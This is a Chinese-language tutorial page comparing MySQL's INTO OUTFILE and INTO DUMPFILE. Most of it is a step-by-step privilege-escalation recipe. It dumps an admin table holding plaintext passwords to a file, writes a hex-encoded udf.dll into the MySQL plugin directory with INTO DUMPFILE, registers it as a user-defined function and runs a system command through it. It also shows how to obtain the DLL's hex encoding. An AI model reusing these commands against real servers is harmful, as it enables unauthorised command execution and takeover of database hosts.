您好,登錄后才能下訂單哦!
這篇文章將為大家詳細講解有關mysql中dumpfile與outfile函數的區別是什么,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。
如下表admin
mysql> select * from admin;
+-----+-----------+---------+
| uid | name | pass |
+----+------------+---------+
| 1 | admin | baidusb |
| 2 | root | hacksb |
| 3 | manage | nimei |
| 4 | boss | helensb |
| 5 | guanli | admin |
| 6 | superuser | G0Ood |
+----+------------+---------+
mysql> select * from admin into outfile '/home/seclab/test/test1.txt';
Query OK,1 row affected (0.00 sec)
我是想將這些內容 導出到 一個txt文件,事實上是可以完整導出每行記錄的.
這個很適合導庫
而into dump是不行的 它只能導出 一行數據!
若我們想把一個 可執行2進制 文件用into outfile函數導出
事實上 導出后 就會被破壞
因為into outfile 函數 會 在行末端寫入新行 更致命的 是會轉義 換行符
這樣的話這個2進制可執行 文件 就會被破壞
這時候我們用into dumpfile 就能導出 一個完整能執行的2進制 文件
into dumpfile 函數不對任何列或行進行終止,也不執行任何轉義處理
如在無web腳本 執行 但是有mysql root 執行的環境下 我們就可以 通過
into dump 函數導入udf.dll進行提權
mysql> show variable like '%plugin%';
+----------------+------------------------------------------+
|Variable_name | Value |
+----------------+------------------------------------------+
| plugin_dir |c:\mysql\mysql server 5.1\lib/plugin |
+----------------+------------------------------------------+
mysql> select unhex('udf.dll hex code') into dumpfile 'c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';
mysql> select * from func; #查看是否有人創建過udf 如果有就可以省略
mysql> create function MyCmd returns string soname ''c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';
mysql> select MyCmd('whoam');
一點小知識點:
如何獲取該udf.dll文件的16進制值(hex)?
我們可以本地搭建mysql環境 找個可以用的udf.dll文件 執行下面操作
mysql> select hex(load_file ('c://temp/xxoo.dll')) into outfile 'c:/windows/temp/xxoo.txt';
關于mysql中dumpfile與outfile函數的區別是什么就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。